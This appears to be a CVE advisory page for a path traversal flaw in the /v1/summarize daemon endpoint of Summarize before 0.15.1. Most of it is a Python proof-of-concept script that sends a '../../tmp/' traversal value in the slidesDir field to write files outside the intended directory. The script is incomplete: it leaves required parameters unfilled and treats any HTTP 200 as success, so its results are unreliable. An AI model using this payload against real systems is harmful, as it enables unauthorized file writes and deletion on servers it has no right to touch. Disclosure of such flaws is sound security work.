CVE-2026-45242

Description

Summarize prior to 0.15.1 contains a path traversal vulnerability in the /v1/summarize daemon endpoint that allows authenticated callers to write files to arbitrary directories by supplying an absolute path or directory traversal sequence in the slidesDir request parameter. Attackers can exploit this to write slide_*.png and slides.json files to any writable directory and subsequently delete matching files at the specified location through repeat extraction.

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL
url = "http://target:port/v1/summarize"

# Exploit payload: Path traversal to write to /tmp/
# Adjust the payload based on the actual API structure
payload = {
    "slidesDir": "../../tmp/",
    # other necessary parameters for the request
}

# Headers (Authentication required as per PR:L)
headers = {
    "Authorization": "Bearer <your_token>",
    "Content-Type": "application/json"
}

r = requests.post(url, json=payload, headers=headers)

if r.status_code == 200:
    print("[+] Exploit successful. Files may be written to /tmp/")
else:
    print("[-] Exploit failed")
